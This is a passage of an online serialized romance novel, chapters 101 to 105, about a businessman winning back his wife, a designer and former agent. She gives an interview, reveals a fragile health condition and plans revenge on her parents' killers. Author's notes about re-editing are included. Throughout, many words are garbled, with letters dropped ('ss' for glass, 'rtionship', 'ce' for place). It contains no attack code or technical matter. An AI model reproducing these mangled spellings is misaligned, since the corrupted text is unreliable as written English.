    "You can''t take back what you just said, are you ready tomit?" She asked again but this time there was no smile on her face. Her eyes felt cold. It pierced through my heart like a hot knife through butter.


    "I swear on whatever you want me to swear on."


    [Yoooo.]


    The wind sted past us from a blower fan.


    She looked at me.


    While I looked at her.


    As we looked into her eyes, I found her searching for answers. A substantial reason to put her trust in me. After the arse, I was to her previously trying to dictate her life just on a minor difort, now I know that there are boundaries that are not to be crossed with her.


    "I will always stand up and sit, on your directions, If you say east I would dare not move to the west. As I promised, I will forever be your ve ''My Queen''. I wish to uphold the same promise with more substance and forever, and this time I know what is at stake," I spoke up.


    (After all, some words are to be spoken, to make sure the other person hears you as well as understand what you desire to say. Mincing your words in your stomach helps no one in a rtionship.)


    Do not ask me where I learned it from as it was a painful lesson.


    (Whom am I kidding? If this does not work I will bring hell to Matt and Ming Li. But if it works? I really have to make it up to them.)


    "Okay bad wolf, you are on probation period as my ve, so do not expect the perks of the boyfriend or husband. Are we clear here?" She spoke up. Her melodious voice seems to have healed my heart.


    "I will take whatever I can take! Thank you for taking me back."


    "I expect the actions to speak out much louder and clearer than your words. Empty words mean nothing to me."


    She clearly warned me again.


    "I will forever be your ve first, My Queen."


    "Hmm, we will see."


    All this time we had our little conversation, Pierro and Lucy helped us to keep the people at bay.


    "Where to next?" I asked her.


    "Let us wrap up the show here. There is an after-party that I have to attend and Xiao Wei is in the backstage greenroom with other models. I will get him after this here is taken care of."


    "Okay"


    I simply took a ce on her right side.


    "Mr Hu, it seems you weren''t kidding me when you said that you have both legal and moral rights to admire the said model." Ms Kingsman joined us, "Mrs Hu you are really a beauty to behold, I can now confirm why he has zero scandals around him.


    Mrs Hu, if I may confide in you, your husband was very professional throughout the show, only when you walked out on that Runway, did he start to drool like a starved wolf. He was in a super hurry to fly down to home but here, he met you."


    "Thank you Ms Kingsman, for getting him here. This gig was nned all of a sudden. So this whole set-up was a surprise for him.


    What a coincidence that you walked him here! It simply made this moment more special."


    The twodies bonded so easily over a couple of words of dresses and husband and boyfriends. That seemed fairly moreplex but far too easy to pull off.


    But never ask a man to try this trick, because if he is not able to pull it off sessfully, he will get himself killed.


    "Oh dear, I loved your designs, I so wish to buy atleast one piece from the exhibition."Ms Kingsman expressed her yearnings and appreciation towards the design.


    "I am so sorry these dresses are already pledged to the Bellissima as a keepsake, but how about this? I would like to invite you to our ce back in Country C, where I have my studio and I already have a perfect dress for you from my stockpile of collection. It would be a pleasure to host you at our ce," Bai Chang invited her.


    "Really, I would love toe to your ce. It is such an honour, thank you for inviting me," she replied.


    "Please, the pleasure is all mine."


    "Okay then I will leave you two to your own means, after all, you have a lot to catch up with each other. I should not be a third wheel to your meet-cute moments."


    "Ms Kingsman you are such a darling, thank you," I replied and then she walked out of the venue. While Matt apanied her till wherever she wanted.


    "Let''s go backstage to pick up Xiao Wei," Bai Chang reminded me.


    ******


    At Pierro''s Guest House-


    Pierro was kind and understanding enough to give us our space. We will stay here in Country IT for quite some time.


    A quick mention to myself, improve my rtions with Xiao Wei. It appeared when we walked into the backstage green room, together, he appeared least happy to see me there.


    Which was visibly shown to me and my wife duly noted too.


    If I still want to stay in her good books I have to deal with my own son first.


    ''How difficult will it be to win over a four-year-old child? Do not ask me as I am stumped at the same point. Even after four years of head start with my son, he still likes and loves his mother more than me.


    I have no problem with that, let me be clear here, but he treats me like an enemy.


    If he could have his way, I am sure I would be forever exiled from my own home. My son practically loathes me.


    (I know it is a strong word to use against a child but trust me in this, I know this.)


    I think his dear wish is to see me gone far away from him.''


    I walked to the side of the pool, there My Queen was sitting by the side dipping her feet in the pool.


    "Can I get you something?"


    "A ss of warm turmerictte, please," she replied.


    "I will bring it right away".


    I again walked inside and walked to the kitchen to make a turmerictte.


    But the thing is, ''What the hell is turmerictte?''


    Like any other millennial, I turned to google to find out the meaning as well as the direction to make it.


    I just hope it is not as difficult as rocket science.


    (Sigh)


    <strong><em>''I really suck at being a ve!''</em></strong>

 Chapter 101: Hu Qiang- The Wife Slave!

    Chapter 101: Hu Qiang- The Wife ve!


    After a little help from youtube and Google, the problem was solved.


    Turns out it was just another term for turmeric milk.


    So I prepared her a ss of ''Turmeric Latte'' and brought it by the pool.


    "Here you go My queen, a tall ss of turmerictte," I offered her the ss.


    "Thank you," she replied and went back to stargazing with hertte.


    As for me, for the rest of the night, I stood by a side and admired her under the weak mix of starlight and reflected streetlights.


    *****


    <em>Next morning-</em>


    "Xiao Wei, finish your breakfast and then we will leave for the Bellissima. Your uncle will join us on the way."


    (Uncle! Which Uncle? When did they get an uncle?)


    "Qiang please carry the bag from the other room, it might be a long day."


    "Xiao Wei, today you are not supposed to skip sses. You will finish your study schedule while we are at the studio, only then you get to work on threads. Am I clear?"


    "Yes, Mamma," he replied and obediently finished his food.


    (When was thest time I saw him this obedient? Is he really my son? I doubt!)


    *****


    <em>Inside the Bellissima-</em>


    "Oh Elizabeth, you owned the stage yesterday. People loved you. Important people are asking for you from all over the world. I have query calls from city NY, Country F, Country E, city L Country SK, city S.


    My phones have not stopped ringing sincest night itself,"


    [Ring Ring! Ring Ring!]


    Before anyone of us could add in our words, Lucy''s phone started to ring off the hook.


    "Excuse me, Elizabeth".


    (What is with the name?)


    ''My hearts had questions, with no answers in sight''.


    "That is my English name, got it from my parent''s records," she turned towards me and answered my unasked question.


    "Your eyes are screaming shouty capitals, if we were in some anime or manga world, your eyes would shootsers in the form of words".


    [teehee!]


    I looked around and found Xiao Wei stifling hisugh with his small hands while Zhang Wei smirked at me.


    (Well turned out the said uncle was Zhang Wei, so imagine my plight!)


    "I am sorry my Queen."


    (I really have to atone for my past sins. Who asked me to be an idiot?)


    Lucy walked back in,


    "Hey I know, it is all too much, but would you like to walk the Runway for some other fashion houses here?" she asked.


    "I can work as an exclusive model for your fashion house but not others. I do not trust others."


    "Okay, thanks for giving us this opportunity to work with you in future as well as thanks for saving our reputation, this season".


    "Please it was work and it was my pleasure to work with such passionate people. I truly loved the whole experience".


    "Great, there are a few media houses who would like to take your personal interview. Are you ready for that?" she asked as if unsure of the prospect.


    I really wonder, how did they manage to convince her to appear in front of the camera, this time around.


    "Which are thepanies or magazines who offered to interview?"


    "Here have a look at the list".


    "Lucy, you came prepared, huh!" she looked through the list and returned it to Lucy, "the third from the top, on the list, is fine. Rest all are rejected or denied any rights to publish content rted to me."


    "I will inform them of our rules," she paused as she walked out of the room, "the same one that we drafted before all this?"


    "The same one," Bai Chang replied.


    "Zhang Wei, stay here with Xiao Wei, I will take a walk down the streets. Have the boys on alert."


    "Qiang, you apany me with your guards."


    And then she walked out with her wallet.


    *****


    <em>On the streets of City R while shopping-</em>


    "Questo sembra molto buono, quanto?" she asked.


    (This looks very good, how much?)


    She looked at thecework and asked for its price.


    (A few decadester)


    ''Let''s face it, for us guys shopping is a one-stop all while shopping alone but when we are out with our better halves, it''s a century-long wait outside the trail room''.


    As the sun kept rising high up in the sky the number of shopping bags on my arms increased.


    As I walked with her, I didn''t dare to give the bags to our security people following us. Something told me that if I passed on the bags to them, I will fail to close the gap between us.


    ''Is it my atonement?''


    Finally, after three hours of shopping (mostly fabrics and textiles), we walked into a restaurant.


    By then, I was already drowning in the sea of shopping bags.


    "Wee madam, how may I help you?" the receptionist asked her.


    "We have a lunch reservation here, under the name Elizabeth. I am Elizabeth. Please do the needful."


    "Please excuse me for a moment madam," the receptionist replied.


    She simply nodded her head slightly and waited for the confirmation.


    While looking around the ce the restaurant was quite quaint, it is a little in the countryside but the inside had a vibe from neenth-century aristocrat culture.


    "Wee to Pranzo, madame. This way please," the receptionist directed us inside the restaurant.


    A server came to escort us and took us to a private booth.


    "Have a seat madame, we will bring in your order soon."


    The server left us alone and I turned towards her to wrap my head around, what all is happening here!


    "Have a seat Qiang, leave the bags on the couch over there. It''s time for lunch. I had pre-ced our order, hope you do not mind. Have some rest while you are at it. Feel free to order whatever you feel like," she informed me.


    (While I was her boyfriend, I used toin about her cold behaviour in my head but after turning ve and spending a day with her, I realised howparatively warm she was to me. I am such a fool to turn greedy and make a loss for myself.)


    "Qiang, can you get me an invite to Ons family charity show?"


    "Huh" my brain froze at that moment.


    What did the Ons family do to her? What trouble did they stir with her? I swear if the Ons family yed dirty, I will make them regret their future!


    "Are you talking about the Annual Charity fundraiser?"


    "Yes, the very same."


    "We always have an invite for the party, Donna is the niece of the master of the family and he holds her too dear to him. Courtesy Donna, our Hu fashion house exhibits designs to raise money for the charity." I hesitantly informed her.


    "Good, I would like to take part in this exhibit. Is it possible? Will Donna approve it?" there was a hidden edge as she asked me the questions.


    ''Did I do something wrong, again?''


    "Sure, after all, it is our fashion house and you are the manager of it, so why not"


    I am not sure but she is eyeing me weirdly.


    [TuTu TuTu]


    My phone rang up,


    "Excuse me,"


    I look at my phone, it is a text from my security personnel.


    <em><strong>"Sir, do you wish to die? Why are you appreciating another woman in front of your wife? If anything happens to you, I want to inform you that we are not responsible for you!"</strong></em>


    I look up at Bai Chang. Interestingly she is observing me with a smirk on her face.


    "Did Kai warn you about your immediate future?"


    [Cough Cough]


    Kai, my security personnel coughed to hide his surprise. This was too sudden.


    As for me, I wish to be an Ostrich, to bury my head in some burrow to hide from my embarrassment.


    There was an awkward moment created in the booth,


    "Your order madam," the server started to serve.


    [Sigh!]


    Should I buy a washboard on my way back, to kneel and beg for forgiveness from my Queen?


    The server left the booth after serving our dishes.


    Without any regard towards me, Bai Chang started to have her lunch. There was sd and risotto, with fried quail and frozen yoghurt on her side of the table.


    On my side, there were shredded chicken sd, risotto, spaghetti as well as french fries.


    There was also wine on my side of the table.


    ''Is she feeding me before the main sacrifice at night?''


    "Rx I am not feeding you to sacrifice at night".


    I had goosebumps all over my body instantly. I reached for the ss of wine to wet my dry throat.


    [Glup Glup Glup]


    I had the wine as if I was drinking water.


    Even before I started to have the food I turned towards her, she was having her sd in peace.


    <strong>"I am sorry. I am so so sorry! Is it toote to ask for forgiveness?"</strong>

 Chapter 102: Bai Changs thoughts!

    Chapter 102: Bai Chang''s thoughts!


    [POV Bai Chang]


    For the past few days, my hours passed in designing the stage and customising the designs for the respective models.


    Hard to say how it flew right out the window, I just felt the satisfaction and not the tiredness. I strangely felt more fulfilled than I felt when I was a genius scientist and agent under the ''Star Time System''.


    I always wanted to be a designer but my family and surroundings never allowed me to pursue my dreams.


    When I woke up as Bai Chang, I wanted to give my kiddish dreams a chance to flourish. And so I did. I dropped down a rabbit hole (this transmigration) and followed the tail of the rabbit (the troubled beginning of ''Star Time System Civilisation) while enjoying my life.


    D-Day arrived, it was the day of the Runway, I would lie if I said that I wasn''t nervous at all.


    I was freaked out of my mind, but on my face, I held the expression of epic calm, as if I achieved ''moksh'' from Buddha himself.


    I really need to keep my wits together, as on insistence from Pierro I was wearing the showstopper dress myself on the runway.


    I really wasn''t ready for it but if you lived my type of life (like being dead and then living a second life), you will definitely grow a pair of strong-willed invisible wings to carry you through the world of far and beyond.


    So like any other daredevil who cheated death once, I summarised that it could not be worse than death itself. Hence I walked down the ''T-stage'' is technically my own show.


    The crowd was refined and the venue looked perfect. I really admired the venue.


    Then I saw my models walk the runway before me, as they walked out, people held their breath to admire the designs.


    At that moment I remembered what my dad (from Star Time) used to say, "Always look out for the people, if they forget to even breath, which is essential for their survival, then that means you got their appreciation, as they were subconsciously ready to die in process of their admiration."


    I never knew I would be that potent.


    When I looked at all the people sitting there from backstage holding their breadth and admiring my designs, I felt fulfilled.


    Then it was a moment of truth for me. It was my turn to walk out to the Runway.


    I took a deep breath and took my first step on the stage.


    [murmurs and whispers from the crowd]


    ''It is exhrating!''


    As I started to walk down the runway, I felt my blood rush towards my face. My heart ran its own sprints. I took hold of my drapes and walked the runway as I practised.


    ''One step at a time!''


    [Thump Thump! Thump Thump!]


    I was only able to hear the voice of my heart beating against my ribcage.


    ''What crazy trip I was on to have actually said yes to this absurd idea of walking the Runway, I am a designer for god sake? How did I be a model?''


    My legs were shivering as I felt jittery all over my body. And then I saw him.


    I saw Hu Qiang seating in the audience, drooling.


    It was momentary, just a microsecond long look, where my eyes met his but that was enough. I wanted to show him a strong and confident me, I can''t afford to have him witness my weakness or weak moments. Thus I walked.


    I walked down the Runway and reached the end. It was hot!


    The cameras and shlights were zing. All I could see was an ocean of pale lights. Everything was just covered in yellow lights. And then his face shed in my head.


    I got a grip on my nerves and then put my game face on.


    ''Chins up!''


    ''Back Straight!''


    ''Shoulder at an angle!''


    ''Head tilted to highlight the pi ratio of my face!''


    And before I realised it I already walked backstage.


    People rushed towards me, Lucy all snotty from happy tears and Sir Pierro with his proud eyes.


    [Thump thump! Thump thump!]


    I couldn''t hear them


    I couldn''t hear them over my thumping heart trying to make its escape from my ribcage. It felt ''alive''.


    ''I AM ALIVE!''


    I realised at that moment that, ''I am alive'', I lived to tell my tales and currently I am alive. That field was not my end.


    ''Back to the present,''


    Currently, I am having lunch with Qiang.


    After his persuasion and that Ms Kingsmen''s word of confidence, I thought to give another chance to the poor chap.


    At the Runway, I really thought that he was having an affair with somedy behind my back. I felt this indescribable pinch in my heart and felt difficult to breathe.


    Iter found out that I may have felt heart-broken or jealousy from the symptoms I showed.


    So here we are, I asked him to be a ve for me to determine his level of patience towards me.


    I finished my lunch.


    "If you are done let''s leave, I have more ces to visit and on my way back I need to get things that Xiao Wei asked for from the shops. Remind me of itter if necessary."


    I saw that he pushed his now empty te and then rushed to pick all the bags from the couch.


    "Let''s go I am ready," he answered.


    ''We walked out, I settled our bills and then walked ahead of him.''


    The city had its charm.


    It was clustered with relics of old civilisation which were then teamed together with a modern architect.


    The concrete or industrial world is trying to overtake everything in its way and the old relics are adamant to keep their roots intact. As if they are battling it out within them silently as we bear witness to this situation.


    In our eyes, it turns art and culture.


    I shopped for a while and added more bags for Qiang to carry.


    Good for him, he didn''t utter a word ofining or displeasure. He is really trying to make it work but a day is too short of a period to pass a verdict. Let''s observe for some more time.


    ******


    <em>Back at home-</em>


    "Mumma, you are back?" Xiao Wei rushed out to us as we entered the ce.


    "Yes munchkin, I am back now. Look what I got for you? Your favourite," I passed him the bag of choctes from Qiang.


    He took the bag but lifted his arm, "Mumma, hug me. I have been a good boy, I studied everything you told me to. I want a hug."


    He looked so adorable, pouting while asking for a hug as he threw cautious looks towards Qiang. They had a silent male battle.


    This father and son are too alike.


    They really hate to share things they treasure the most.


    "Okaye here," Qiang moved towards him to stop him but stepped aside after hearing me speak, instead he walked towards the centre table and neatly ced the shopping bags on it.


    I picked Xiao Wei from his arms and hugged him. Then he opened the bag and unwrapped a bar of chocte, "Mumma, say aaa"


    I humoured him,


    "AAA" I opened my mouth and then he broke a bigger piece from the bar and fed me.


    "My Xiao Wei is much, much sweeter than anything in this world." As I ate the chocte I took the rest of the bar and little by little fed it to my little adorable munchkin.


    "Okay, Mumma will freshen up then we will sit together to have dinner."


    "Zhang Wei, meet me in the study."


    *****


    <em>After half an hour in the study room-</em>


    [Knock Knock]


    "Enter"


    Zhang Wei entered the room and closed the door behind him.


    "Have a seat," I offered.


    "You are nning something, aren''t you?" he asked straight away.


    "Yes, I am. And it is time to put the second phase to go," I casually replied.


    There was silence in the room.


    "How is brother Li Jie?" I asked out of habit.


    "You are more aware of it than me, aren''t you,"


    ''Sigh''


    "I am"


    "Then what is your take on it?"


    "Total annihtion, no survivors and no messy situations. The operation should be clean in and out kind. No spot for any type of mistakes."


    "What do you propose next?"


    "I secured our entry point, now all we have to do is find the target!"


    There was again silence in the room.


    While Zhang Wei supported my crazy ideas. I knew, only I could pull off the next steps of the operations.


    It is time to meet the real boss behind Feling.


    As brother Li Jie informed us just before we left the country. The threads were pulled from across the oceans by someone ambitious as well as cunning.


    ------------------------------------------------------


    <strong>AUTHOR''s SERIOUS REQUEST- date of issue 05/03/21</strong>


    <em>Hey Readers if you are reading this, it means the following notice is still valid-</em>


    I request you all to not read further chapters. First I was not satisfied with what I wrote so currently, I am in process of rewriting my entire stockpile for this month. And <em><strong>as unexpectedly I am facing a major crisis in my real life (my mother is very sick so nursing her has be a full 24-hour job), so please excuse me for the dy. I do not want you all to feel disappointed with the story, so I am uploading a few of the old chapters until I upload the re-edited chapters. </strong></em>


    <em>Please bear with me a little here, I will get this story on track little by little. I ask for your support and patience in return.</em>

 Chapter 103: The Interview!

    Chapter 103: The Interview!


    [POV Hu Qiang]


    Last night was strange, though we spent an entire day together I wanted to stay with her, right by her side for every second of my life.


    I always felt this unsaid emotion in my heart that-


    <em>''My days with her are numbered!''</em>


    I am not a superstitious person by any means but when ites to her, I feel helpless. In fact, I am helpless!


    [Sigh...]


    As I walked towards the front door, I saw Lucy''s car parked there.


    ''She is here early.''


    I walked in without any further-a-do.


    "Good morning Lucy, Zhang Wei."


    "Oye! Did you go out to buy breakfast?" Lucy called out as Zhang Wei took the grocery bags into the kitchen.


    "Even if I do, you won''t get a piece of it, Lucy, so back off."


    "Are we this sensitive so early in the morning? Hold your horses'' old man, I am here to meet my favourite model of the century. So you can get in line." she teased me. She knew well how much I care for Bai Chang!


    "Jokes apart, why are you here so early in the morning?"


    "Isn''t it obvious, I am here to prepare for her big interview at brunch."


    "Huh!"


    ''Another interview,'' I thought to myself. Why is she going all high profile? There have to be some reasons behind this move of her.


    "Are you going to cook?" Zhang Wei peeped out of the kitchen area.


    "Coming," I hollered back to him and walked inside.


    *******


    After breakfast, everyone gathered around the living room.


    "Elizabeth, are you all prepped? Do you want to give any other directions?"


    "No, I am fine. Lucy after this interview I will be on tour through Europe. Then I will attend the charity auction of the House of Ons. We will meet there as discussed."


    "Yeah, go it gal, you enjoy your trip." Lucy waved at her while ying with Xiao Wei''s hair.


    "Elizabeth, tell me, how did you turn this stubborn fool into a hen-pecked husband? Even I want such a man in my life."


    "You will die single, you jealous hag!" I retorted to her subtle jibe.


    "Language dear," from the other side of the room Bai Chang warned me.


    "I apologise."


    "Woah!" Lucy looked at me then at Bai Chang and as she was about to say something, she mulled her words and decided to just keep silent this one time.


    ''Phew!''


    I wiped off my invisible sweat.


    ''She really got me by my cor there. I hate Lucy for taking a joke too far, she has always been such a troublemaker towards me. I really have no idea on how I offended this disaster of a person?''


    [Ding Dong! Ding Dong!]


    "I will get the door," Lucy ran towards the door.


    After a few moments-


    "Here, this way, please. Watch your equipment around the corner."


    "David, you really owe me one, as I am getting you this exclusive. Treat me a little better next time, will you?"


    "Yes. Yes, I promise I will"


    The interview team was here and so were the professional photography team.


    "Good morning, Elizabeth. It is my absolute pleasure to meet you face to face. I must say, you look more beautiful in person."


    "Good morning David. It is good to have you here for my debut interview. It is my privilege to have you here. Pleasee inside and make yourselffortable. I will introduce others to you shortly."


    "Sure. Sure."


    "May I offer you something to drink or eat?" Zhang Wei asked them.


    "Some water will do, for now, thank you for your hospitality," an assistant to David spoke up.


    "Everyone please loosen up, move around and familiarise yourself with the property, we will start with the interview whenever you are ready," Bai Chang assured them.


    ------


    The people and crew from the various studios got acquainted with each other and then they moved on to capture the stills around the property and the light influx as well. Finally, after looking out for half an hour, these people decided on a ce to shoot the interview. It was the gazebo in the garden.


    ------


    "Betty, take a few still shots to check the lighting with the subject inside the frame."


    "Yes Sir''


    "David, do you want me to change in some other outfit?" Bai Chang asked him.


    "I would love to see you in other options. Don''t get me wrong, you look way more ethereal than I could have imagined but if you suggest a change, I would like to see you in that too as I trust your judgement."


    "Thank you, David, give me a few moments, I will be down in a jiffy."


    With that, Bai Chang went upstairs to change while downstairs the crew set up their equipment and checked their final set-up.


    ----


    After about half an hour Bai Chang came down.


    This time she was wearing a pastel-toned peach dress with dandelions printed all over it. The dress ended just above her knee and it sported a closed cor with ruffle scarfs around the neck.


    She looked chic, as well as peaceful. To me, she appeared as abination of many things but at the same time it had this bnce, it transcended fashion.


    "Wooo.!"


    "I am speechless, Elizabeth this, this, this is simply simply perrfectt!" David stuttered.


    "Then let''s begin"


    "Sure. Sure. Elizabeth please have a seat," he licked his lips and took his position behind the camera.


    "Lights! Camera! Rolling!"


    [Clump]


    David started the interview promptly.


    "Miss Elizabeth, may we know your full name?"


    "My Real name is Shui Bai Chang, and Elizabeth is my baptised name that my parents left behind for me."


    "We know that Chinese names have their own meaning and value. So what does your name mean?"


    "Well, Shui means ''water''. This is my family name or surname you may say. My first name is Bai Chang which means ''Pure, smooth and unhindered''. So you may say that theplete meaning would be ''to be as pure, smooth and unhindered as water itself''."


    David had a thoughtful expression on his face.


    "A very good name and beautiful meaning. I must say it is as beautiful as you."


    "Thank you, David, for the appreciation."


    "Okay let us talk about your outfit today, I have to ask this, did you design it yourself?"


    "Yes, in fact, I will let you in a small secret of mine, i.e. most of my dresses are designed by me for myself. This little piece that I am wearing is one of the spring collections I designed."


    "Woah, really!" He was so excited, "please excuse my manners but your designs are really how do I put this? They feel like out of the world but strangely it feels harmonised with the world, especially when you wear them yourself."


    "I can''t help it, I love to wear dresses that are customised specifically for me."


    "May I take this urge to be your driving force to design clothes."


    "More than an urge it is more like breathing. As the process of breathing is embedded in our cores. I feel designing my own outfits is embedded within my life."


    "What a beautiful way to put it together!"


    I could see that the people within the crew were also influenced and impressed. They should know the awesomeness of ''My Queen'' , my wife.


    "Then Elizabeth, what is your take on life, I mean your philosophy?"


    "Hmm.I have never thought about it specifically, now that you asked, I think it should be just living my life at its fullest extent doing all that I love to do."


    "Please Eli, may I address you as Eli?"


    "Sure, go ahead."


    "Your answer right now was very generic. Everyone is living their life. How is it any different from a regr average Joe or Jane walking down the streets?"


    "Well, to be truthful, living life may be generic to others but for me it is a hard-earned luxury. And before you ask why, I will exin myself.


    My life was not a fairytale, as a matter of fact, no one''s life is a fairytale. But mine could be put under misery. I will re-tell some milestones in my life.


    I lost my parents at the age of five. I was autistic till I was 23 years old. I am currently 24 years old as of this past month. I was in aa for the past three years. I woke up in the hospital just eight months back.


    We are sitting here talking to you is a luxury.


    And the best things are saved for thest, that is, even I am not sure how long I can stay awake this time. Even my family is not aware of this fact. So while I am recording this interview with you, I am preparing my family for the worst-case scenario."


    Silence prevailed in the ce.


    [Chirp Chirp, Chirp Chirp Chirp Chirp]


    The sound of the birds chirping was equal to long nails screeching on a chalkboard.


    I had goosebumps all over me.


    I looked towards her and she looked back into my eyes.


    After some time I realised she is stating a fact.


    <em>''Our days together are really numbered!''</em>


    <em>--------------------------------------------------</em>


    <strong><em>Author''s note- (if you see this note that means it is still valid!)</em></strong>


    <em><strong>Do not read</strong> the following chapters yet! <strong>re-edit</strong> is in progress. </em>


    <strong><em><em>From </em></em><em>April 1 we will have regr updates of new chapters so till then bear with me a little more.</em></strong>


    <em><strong>Thank you to all my readers for their support and well wishes</strong> through these trying times of my life this past month. My mother is doing slightly better now so I will once again resume my writing passion and my duty towards such beautiful readers.</em>

 Chapter 104: The Talk!

    Chapter 104: The Talk!


    [POV Bai Chang]


    He looked lost as if his deepest fears came true. As I looked him in his eyes, I saw questions but more than that, I saw the raw emotion of fear.


    "What you just said, am I allowed to publish it?" David hesitantly asked me. From his demeanour, even he didn''t expect this type of time bomb thrown at him during the interview.


    "Sure, if I didn''t want you to publish it, I wouldn''t have let you know about it in the first ce."


    "Okay"


    The interview continued for another hour and a half.


    We shot some pictures around the property. As well as had a photoshoot with me wearing my various dresses posing in various postures.


    "Eli thank you so much for letting us into your life. Mr Hu thank you for your co-operation. Before I walked in here today, I did some homework about your life and at first, I was ready to assault you with all types of paparazzi-style questions.


    But this interview finally put some much-needed light on the ''Butcher of Wall Street''.


    Now, it seems as if you revealed ayer of the onion skin.


    It may be very superficial, but regardless I appreciate yourmitment to your family and rtionships."


    "Thank you David for doing this."


    After a round of pleasantries exchanged, Lucy walked the crew out of the house and rushed inside, "Is it really true that you are not sure about your health at all?"


    "Yes, Lucy"


    "I am such an idiot. I will talk with Pierro, we could have nearly killed you with work stress itself," she turned to Hu Qiang and apologised, "I am so sorry. I really had no idea about the severity of her health."


    "You are not alone, even I was not aware of this prospect," Qiang said.


    "Me too," Zhang Wei chimed from the back.


    "Lucy, if you will please excuse us for the day, please understand."


    "Okay," Lucy looked towards me onest time and then walked out of the house.


    The temperature dropped down to Zero from the chill these two males were emitting while the time I was staring at continuously.


    They were likeser beams.


    "Okay,e inside the study. We will talk."


    They went inside the study but I stayed back.


    "Do you want toe out now?" I asked as I knocked on the doors of the side cab.


    [Creak]


    Slowly Xiao Wei walked out of the cab.


    "Mumma, will you leave me? Am I a bad boy, do I trouble you too much, that is why you will leave me? Mumma di-"


    "No, no my munchkin. It is not your fault. Mumma is just preparing for worst-case scenarios, okay"


    He had tears in his little eyes. I felt guilty seeing them but if I keep them oblivious for too long then they will be devastatedter in future.


    I patted him on his back, "Mumma will let you know all at the correct time, till then promise Mumma that you will not me yourself and will properly study what I teach you. Hmm.."


    The boy was really smart, he immediately wiped his tears off his cheeks,


    Sniff Sniff


    "I promise Mumma, I will do as you say."


    Sniff Sniff


    "Come to me," I pulled him in my arms and hugged him, "have some rest, hmmm"


    I patted him on his back and slowly walked around to lull him to sleep, as at the end of the day he is still a child. If he sleeps and wakes up and sees me in front of him; he will feel more secure.


    So I sang him his luby,


    "The Milky Way upon the heavens


    Is twinkling just for you


    And Mr Moon, he came by


    To say goodnight to you


    I''ll sing for you, I''ll sing for mother


    We''re praying for the world


    And for the people everywhere


    Gonna show them all we care


    Oh, my sleeping child the world''s so wild


    But you''ve built your own paradise


    That''s one reason why


    I''ll cover you, sleeping child


    Ummhmmhumhmm Um-hum hum Umhumhumhummhummm


    If all the people around the world


    They had a mind like yours


    We''d have no fighting and no wars


    There would besting peace on Earth


    If all the kings and all the leaders


    Could see you here this way


    They would hold the Earth in their arms


    They would learn to watch you y


    Ummhmmhumhmm Um-hum hum Umhumhumhummhummm


    Oh, my sleeping child the world''s so wild


    But you''ve built your own paradise


    That''s one reason why


    I''ll cover you, sleeping child


    I''m gonna cover my sleeping child


    Keep you away from the world so wild


    Keep you away from the world


    Away from the world so wild


    Oh, my sleeping child the world''s so wild


    But you''ve built your own paradise


    That''s one reason why


    I''ll cover you, sleeping child


    Oh, my sleeping child the world''s so wild


    But you''ve built your own paradise


    That''s one reason why


    I''ll cover you, sleeping child."


    After such an eventful day, he finally went to sleep.


    ''One down, two more to go!''


    I still have to deal with those two in the study room. So I carried my sleeping munchkin to the study.


    [Creak!]


    I opened the door and walked inside, those two stubborn fools were still sitting on the chairs and were staring daggers at each other; using the other person of negligence.


    "Quit being a jerk to each other or you can walk out of this room this instant."


    They right away stopped looking at each other and simply started to stare at me.


    "There are no answers on my face so quit creeping me out," I told them.


    As I walked towards the couch toy down Xiao Wei, Qiang walked towards me and took him from me andid him down.


    "Please say something relevant or we will go crazy soon," Qiang whispered.


    "Sigh"


    They are indeed stubborn fools.


    "Okay, ask me what you want to ask? But I will answer only what I can answer currently. Are you two cool with it?"


    "Do we have any other choice!" Zhang Wei irritatedly quipped.


    "Smart man," I said, "so the first question?"


    "How much time before you copse again?" Qiang asked.


    "I have no idea, things are uncertain at the moment. Copse is the worst-case scenario, it is at the end of the negative extreme oues."


    "So what is the positive side?" Zhang Wei asked instead.


    "What we have right now is the positive side! Anything deviating from this bnce is a negative side."


    "Then why can''t we live like this?" Qiang asked me desperately.


    "Because our enemies or I should say the enemies that I inherited from my parents are going to follow me to the end of the world."


    "WHAT??", "But Why??"


    Both of them almost screamed out.


    "Boys behave, or else the door is right behind you, you may walk out," I reminded them as I slightly tilted my head towards the sleeping Xiao Wei.


    ''Thankfully he didn''t wake up!''


    "I am sure that I am being targeted for a long time now, this time I will hopefully meet the mastermind," I looked up; before they could pepper me with more questions, I replied, "the whole thing is not too clear, the motive is unknown while the people I am suspecting are not fully confirmed. Brother Li Jie did find something but it was not too conclusive.


    All this public attention and media coverage is to add authenticity to my cover as a designer and an artist.


    I will explore this cover to find the mastermind. I have to find this person to know what they want from me and what they obtained from my parents after or before killing them off."


    "How could we help?" Qiang desperately begged.


    It is rare to see this person so desperate. It is no surprise to me on how ruthless this person is to hispetitors. There is a reason that people call him ''Butcher of Wall Street'' as for the past three years he has never spared a person''s life who tried to threaten him with respect to his family to gain financial upper hands.


    After Bai Chang''s sacrifice, this heartless fellow learned to treasure his rtions and retaliated ferociously for things that he deemed beyond the line.


    He had them killed and left them bankrupt while if someone showed potential he had them weeded out too. He would destroy his enemies to the roots as well as remove the weeds, just so to have some peace for Xiao Wei.


    He may not be a great father who could interact and discipline his child but he definitely was a protector to his family.


    So even though I have a thousandints against him I will still do away with it just in lieu of his protection to Xiao Wei.


    As I looked towards the sleeping ball of cuteness, I thought to myself, "I need to clear this mess from its roots otherwise he will inherit this mess from me."

 Chapter 105: 123

    Chapter 105: 123


    <em><strong>[Please read this chapter after it''s re-edited]</strong></em>


    [POV Zhang Wei]


    I stayed back with the squad to look after Beta. As I look at his recovery process, a hundred drums are beating in my heart.


    ''How did she do it?''


    It is beyond my imagination that injuries that would take at least a month to heal even after superior medical care just got healed in a matter of one day right before my eyes.


    Even if I think with my knees I know, this type of medical service is unprecedented in our world.


    ''Did she inherit the old Master''s Family secret?"


    While my brains are trying to draw its own inferences, I know I have to handle the squad first. Because, if this leaks out we are doomed.


    Finally, I put together Beta''s medical charts and gathered the squad for a team meeting.


    "Everyone gathers around the bed, its team meeting time," I called out.


    rush  rush.


    The members form a line at the tail end of the patient bed, Beta is still lying down on the bed, but colour has returned to his face, a sign of good recovery. I am standing beside him.


    "Gentlemen, you are aware of what happened during this mission? List it out for me."


    "Sir Yes Sir," Alpha responded, "The mission objective was to babysit target 1 name- Feling. At sixteen hundred hours on Wednesday, we followed Target 1 to an abandoned factory at the outskirts of the city. There we witness a deal taking ce between target 1 and some other person. We tagged the person as Target 2.


    Target 2 profile- tall around 165 cm, age range around thirty-eight to forty-five. Distinct feature- salty hairs and higher rank military officer.


    Due to theck of audio surveince tools, we were unable to eavesdrop on the actual conversation. We opted for lip reading.


